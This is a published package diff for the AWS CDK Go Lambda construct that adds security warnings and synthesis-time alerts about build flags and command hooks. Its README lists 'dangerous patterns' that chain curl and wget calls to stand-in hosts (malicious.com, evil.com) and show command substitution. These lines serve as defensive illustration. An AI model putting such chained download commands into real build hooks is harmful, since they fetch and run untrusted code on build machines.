@aws-cdk/aws-lambda-go-alpha 2.222.0-alpha.0 → 2.224.0-alpha.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/README.md CHANGED
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170
170
  });
171
171
  ```
172
172
 
173
+ **⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174
+
173
175
  By default this construct doesn't use any Go module proxies. This is contrary to
174
176
  a standard Go installation, which would use the Google proxy by default. To
175
177
  recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
200
202
 
201
203
  ## Command hooks
202
204
 
203
- It is possible to run additional commands by specifying the `commandHooks` prop:
205
+ It is possible to run additional commands by specifying the `commandHooks` prop:
204
206
 
205
- ```text
206
- // This example only available in TypeScript
207
+ ```ts
207
208
  // Run additional commands on a GoFunction via `commandHooks` property
208
209
  new go.GoFunction(this, 'handler', {
210
+ entry: 'cmd/api',
209
211
  bundling: {
210
212
  commandHooks: {
211
213
  // run tests
212
214
  beforeBundling(inputDir: string): string[] {
213
215
  return ['go test ./cmd/api -v'];
214
216
  },
215
- // ...
217
+ afterBundling(inputDir: string, outputDir: string): string[] {
218
+ return ['echo "Build complete"'];
219
+ },
216
220
  },
217
221
  },
218
222
  });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
230
234
  The commands will run in the environment in which bundling occurs: inside the
231
235
  container for Docker bundling or on the host OS for local bundling.
232
236
 
237
+ ### ⚠️ Security Considerations
238
+
239
+ **Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
240
+
241
+ **Safe patterns (cross-platform):**
242
+
243
+ ```ts
244
+ new go.GoFunction(this, 'SafeFunction', {
245
+ entry: 'cmd/api',
246
+ bundling: {
247
+ commandHooks: {
248
+ beforeBundling: () => [
249
+ 'go test ./...', // ✅ Standard Go commands work on all OS
250
+ 'go mod tidy', // ✅ Go module commands
251
+ 'make clean', // ✅ Build tools (if available)
252
+ 'echo "Building app"', // ✅ Simple output with quotes
253
+ ],
254
+ afterBundling: () => ['echo "Build complete"'],
255
+ },
256
+ },
257
+ });
258
+ ```
259
+
260
+ **Dangerous patterns to avoid:**
261
+
262
+ *Windows-specific dangers:*
263
+
264
+ ```ts
265
+ // ❌ Windows-specific dangers
266
+ new go.GoFunction(this, 'UnsafeWindowsFunction', {
267
+ entry: 'cmd/api',
268
+ bundling: {
269
+ commandHooks: {
270
+ beforeBundling: () => [
271
+ 'go test & curl.exe malicious.com', // ❌ Command chaining with &
272
+ 'echo %USERPROFILE%', // ❌ Environment variable expansion
273
+ 'powershell -Command "..."', // ❌ PowerShell execution
274
+ ],
275
+ afterBundling: () => [],
276
+ },
277
+ },
278
+ });
279
+ ```
280
+
281
+ *Unix/Linux/macOS dangers:*
282
+
283
+ ```ts
284
+ // ❌ Unix/Linux/macOS dangers
285
+ new go.GoFunction(this, 'UnsafeUnixFunction', {
286
+ entry: 'cmd/api',
287
+ bundling: {
288
+ commandHooks: {
289
+ beforeBundling: () => [
290
+ 'go test; curl malicious.com', // ❌ Command chaining with ;
291
+ 'echo $(whoami)', // ❌ Command substitution
292
+ 'bash -c "wget evil.com"', // ❌ Shell execution
293
+ ],
294
+ afterBundling: () => [],
295
+ },
296
+ },
297
+ });
298
+ ```
299
+
300
+ **When using third-party constructs** that include `GoFunction`:
301
+
302
+ * Review the construct's source code before use
303
+ * Verify what commands it executes via `commandHooks` and `goBuildFlags`
304
+ * Only use constructs from trusted publishers
305
+ * Test in isolated environments first
306
+
307
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
308
+
309
+ For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
310
+
311
+ ## Security Best Practices
312
+
313
+ ### Third-Party Construct Safety
314
+
315
+ When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
316
+
317
+ 1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
318
+ 2. **Verify publishers** - Use constructs only from trusted, verified sources
319
+ 3. **Pin versions** - Use exact versions to prevent supply chain attacks
320
+ 4. **Isolated testing** - Test third-party constructs in sandboxed environments
321
+
322
+ **Before using any third-party construct:**
323
+
324
+ * Review the construct's source code on GitHub or npm
325
+ * Search for `commandHooks` and `goBuildFlags` usage in the code
326
+ * Verify no dangerous command patterns are present
327
+ * Use exact version pinning to prevent supply chain attacks
328
+
329
+ The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
330
+
233
331
  ## Additional considerations
234
332
 
235
333
  Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.
package/lib/function.js CHANGED
@@ -40,6 +40,7 @@ const JSII_RTTI_SYMBOL_1 = Symbol.for("jsii.rtti");
40
40
  const fs = require("fs");
41
41
  const path = require("path");
42
42
  const lambda = require("aws-cdk-lib/aws-lambda");
43
+ const cdk = require("aws-cdk-lib/core");
43
44
  const bundling_1 = require("./bundling");
44
45
  const util_1 = require("./util");
45
46
  const metadata_resource_1 = require("aws-cdk-lib/core/lib/metadata-resource");
@@ -61,7 +62,7 @@ let GoFunction = (() => {
61
62
  GoFunction = _classThis = _classDescriptor.value;
62
63
  if (_metadata) Object.defineProperty(_classThis, Symbol.metadata, { enumerable: true, configurable: true, writable: true, value: _metadata });
63
64
  }
64
- static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.222.0-alpha.0" };
65
+ static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.224.0-alpha.0" };
65
66
  /** Uniquely identifies this class. */
66
67
  static PROPERTY_INJECTION_ID = '@aws-cdk.aws-lambda-go-alpha.GoFunction';
67
68
  /**
@@ -108,6 +109,13 @@ let GoFunction = (() => {
108
109
  }
109
110
  const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
110
111
  const architecture = props.architecture ?? lambda.Architecture.X86_64;
112
+ // Security warnings for potentially unsafe bundling options
113
+ if (props.bundling?.goBuildFlags?.length) {
114
+ cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning', 'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
115
+ }
116
+ if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
117
+ cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning', 'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
118
+ }
111
119
  super(scope, id, {
112
120
  ...props,
113
121
  runtime,
@@ -130,4 +138,4 @@ let GoFunction = (() => {
130
138
  return GoFunction = _classThis;
131
139
  })();
132
140
  exports.GoFunction = GoFunction;
133
- //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUVqRCx5Q0FBc0M7QUFFdEMsaUNBQWdDO0FBQ2hDLDhFQUE4RTtBQUM5RSwwRUFBMEU7QUErRDFFOztHQUVHO0lBRVUsVUFBVTs0QkFEdEIsb0NBQWtCOzs7O3NCQUNhLE1BQU0sQ0FBQyxRQUFROzBCQUF2QixTQUFRLFdBQWU7Ozs7WUFBL0MsNktBd0RDOzs7OztRQXZEQyxzQ0FBc0M7UUFDL0IsTUFBTSxDQUFVLHFCQUFxQixHQUFXLHlDQUF5QyxDQUFDO1FBQ2pHOztXQUVHO1FBQ0ksTUFBTSxDQUFVLGNBQWMsR0FBRywwQkFBMEIsQ0FBQztRQUVuRSxZQUFZLEtBQWdCLEVBQUUsRUFBVSxFQUFFLEtBQXNCOzs7Ozs7bURBUnJELFVBQVU7Ozs7WUFTbkIsSUFBSSxLQUFLLENBQUMsT0FBTyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLEtBQUssTUFBTSxDQUFDLGFBQWEsQ0FBQyxFQUFFLElBQUksS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLElBQUksTUFBTSxDQUFDLGFBQWEsQ0FBQyxLQUFLLENBQUMsRUFBRSxDQUFDO2dCQUM5SCxNQUFNLElBQUksS0FBSyxDQUFDLGtEQUFrRCxDQUFDLENBQUM7WUFDdEUsQ0FBQztZQUVELE1BQU0sS0FBSyxHQUFHLElBQUksQ0FBQyxPQUFPLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxDQUFDO1lBRXhDLHdCQUF3QjtZQUN4QixJQUFJLFNBQWlCLENBQUM7WUFDdEIsSUFBSSxLQUFLLENBQUMsU0FBUyxFQUFFLENBQUM7Z0JBQ3BCLE1BQU0sZUFBZSxHQUFHLElBQUksQ0FBQyxLQUFLLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxDQUFDO2dCQUNwRCxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxLQUFLLFFBQVEsRUFBRSxDQUFDO29CQUNyRixJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxLQUFLLENBQUMsU0FBUyxDQUFDLEVBQUUsQ0FBQzt3QkFDcEMsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztvQkFDckUsQ0FBQztnQkFDSCxDQUFDO3FCQUFNLElBQUksZUFBZSxDQUFDLElBQUksSUFBSSxlQUFlLENBQUMsR0FBRyxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksUUFBUSxFQUFFLENBQUM7b0JBQzNGLE1BQU0sSUFBSSxLQUFLLENBQUMsbURBQW1ELENBQUMsQ0FBQztnQkFDdkUsQ0FBQztxQkFBTSxJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLEVBQUUsUUFBUSxDQUFDLENBQUMsRUFBRSxDQUFDO29CQUNoRSxNQUFNLElBQUksS0FBSyxDQUFDLGtCQUFrQixLQUFLLENBQUMsU0FBUyxnQkFBZ0IsQ0FBQyxDQUFDO2dCQUNyRSxDQUFDO2dCQUNELFNBQVMsR0FBRyxLQUFLLENBQUMsU0FBUyxDQUFDO1lBQzlCLENBQUM7aUJBQU0sQ0FBQztnQkFDTixNQUFNLE9BQU8sR0FBRyxJQUFBLGFBQU0sRUFBQyxRQUFRLEVBQUUsS0FBSyxDQUFDLENBQUM7Z0JBQ3hDLElBQUksQ0FBQyxPQUFPLEVBQUUsQ0FBQztvQkFDYixNQUFNLElBQUksS0FBSyxDQUFFLHlEQUF5RCxDQUFDLENBQUM7Z0JBQzlFLENBQUM7Z0JBQ0QsU0FBUyxHQUFHLE9BQU8sQ0FBQztZQUN0QixDQUFDO1lBRUQsTUFBTSxPQUFPLEdBQUcsS0FBSyxDQUFDLE9BQU8sSUFBSSxNQUFNLENBQUMsT0FBTyxDQUFDLFlBQVksQ0FBQztZQUM3RCxNQUFNLFlBQVksR0FBRyxLQUFLLENBQUMsWUFBWSxJQUFJLE1BQU0sQ0FBQyxZQUFZLENBQUMsTUFBTSxDQUFDO1lBRXRFLEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdkRVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICBzdXBlcihzY29wZSwgaWQsIHtcbiAgICAgIC4uLnByb3BzLFxuICAgICAgcnVudGltZSxcbiAgICAgIGNvZGU6IEJ1bmRsaW5nLmJ1bmRsZSh7XG4gICAgICAgIC4uLnByb3BzLmJ1bmRsaW5nID8/IHt9LFxuICAgICAgICBlbnRyeSxcbiAgICAgICAgcnVudGltZSxcbiAgICAgICAgYXJjaGl0ZWN0dXJlLFxuICAgICAgICBtb2R1bGVEaXIsXG4gICAgICB9KSxcbiAgICAgIGhhbmRsZXI6ICdib290c3RyYXAnLCAvLyBzZXR0aW5nIG5hbWUgdG8gYm9vdHN0cmFwIHNvIHRoYXQgdGhlICdwcm92aWRlZCcgcnVudGltZSBjYW4gYWxzbyBiZSB1c2VkXG4gICAgfSk7XG5cbiAgICAvLyBFbmhhbmNlZCBDREsgQW5hbHl0aWNzIFRlbGVtZXRyeVxuICAgIGFkZENvbnN0cnVjdE1ldGFkYXRhKHRoaXMsIHByb3BzKTtcbiAgfVxufVxuXG4iXX0=
141
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUNqRCx3Q0FBd0M7QUFFeEMseUNBQXNDO0FBRXRDLGlDQUFnQztBQUNoQyw4RUFBOEU7QUFDOUUsMEVBQTBFO0FBK0QxRTs7R0FFRztJQUVVLFVBQVU7NEJBRHRCLG9DQUFrQjs7OztzQkFDYSxNQUFNLENBQUMsUUFBUTswQkFBdkIsU0FBUSxXQUFlOzs7O1lBQS9DLDZLQXVFQzs7Ozs7UUF0RUMsc0NBQXNDO1FBQy9CLE1BQU0sQ0FBVSxxQkFBcUIsR0FBVyx5Q0FBeUMsQ0FBQztRQUNqRzs7V0FFRztRQUNJLE1BQU0sQ0FBVSxjQUFjLEdBQUcsMEJBQTBCLENBQUM7UUFFbkUsWUFBWSxLQUFnQixFQUFFLEVBQVUsRUFBRSxLQUFzQjs7Ozs7O21EQVJyRCxVQUFVOzs7O1lBU25CLElBQUksS0FBSyxDQUFDLE9BQU8sSUFBSSxDQUFDLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxLQUFLLE1BQU0sQ0FBQyxhQUFhLENBQUMsRUFBRSxJQUFJLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxJQUFJLE1BQU0sQ0FBQyxhQUFhLENBQUMsS0FBSyxDQUFDLEVBQUUsQ0FBQztnQkFDOUgsTUFBTSxJQUFJLEtBQUssQ0FBQyxrREFBa0QsQ0FBQyxDQUFDO1lBQ3RFLENBQUM7WUFFRCxNQUFNLEtBQUssR0FBRyxJQUFJLENBQUMsT0FBTyxDQUFDLEtBQUssQ0FBQyxLQUFLLENBQUMsQ0FBQztZQUV4Qyx3QkFBd0I7WUFDeEIsSUFBSSxTQUFpQixDQUFDO1lBQ3RCLElBQUksS0FBSyxDQUFDLFNBQVMsRUFBRSxDQUFDO2dCQUNwQixNQUFNLGVBQWUsR0FBRyxJQUFJLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQztnQkFDcEQsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLGVBQWUsQ0FBQyxHQUFHLElBQUksZUFBZSxDQUFDLElBQUksS0FBSyxRQUFRLEVBQUUsQ0FBQztvQkFDckYsSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxFQUFFLENBQUM7d0JBQ3BDLE1BQU0sSUFBSSxLQUFLLENBQUMsa0JBQWtCLEtBQUssQ0FBQyxTQUFTLGdCQUFnQixDQUFDLENBQUM7b0JBQ3JFLENBQUM7Z0JBQ0gsQ0FBQztxQkFBTSxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLFFBQVEsRUFBRSxDQUFDO29CQUMzRixNQUFNLElBQUksS0FBSyxDQUFDLG1EQUFtRCxDQUFDLENBQUM7Z0JBQ3ZFLENBQUM7cUJBQU0sSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsU0FBUyxFQUFFLFFBQVEsQ0FBQyxDQUFDLEVBQUUsQ0FBQztvQkFDaEUsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztnQkFDckUsQ0FBQztnQkFDRCxTQUFTLEdBQUcsS0FBSyxDQUFDLFNBQVMsQ0FBQztZQUM5QixDQUFDO2lCQUFNLENBQUM7Z0JBQ04sTUFBTSxPQUFPLEdBQUcsSUFBQSxhQUFNLEVBQUMsUUFBUSxFQUFFLEtBQUssQ0FBQyxDQUFDO2dCQUN4QyxJQUFJLENBQUMsT0FBTyxFQUFFLENBQUM7b0JBQ2IsTUFBTSxJQUFJLEtBQUssQ0FBRSx5REFBeUQsQ0FBQyxDQUFDO2dCQUM5RSxDQUFDO2dCQUNELFNBQVMsR0FBRyxPQUFPLENBQUM7WUFDdEIsQ0FBQztZQUVELE1BQU0sT0FBTyxHQUFHLEtBQUssQ0FBQyxPQUFPLElBQUksTUFBTSxDQUFDLE9BQU8sQ0FBQyxZQUFZLENBQUM7WUFDN0QsTUFBTSxZQUFZLEdBQUcsS0FBSyxDQUFDLFlBQVksSUFBSSxNQUFNLENBQUMsWUFBWSxDQUFDLE1BQU0sQ0FBQztZQUV0RSw0REFBNEQ7WUFDNUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxNQUFNLEVBQUUsQ0FBQztnQkFDekMsR0FBRyxDQUFDLFdBQVcsQ0FBQyxFQUFFLENBQUMsS0FBSyxDQUFDLE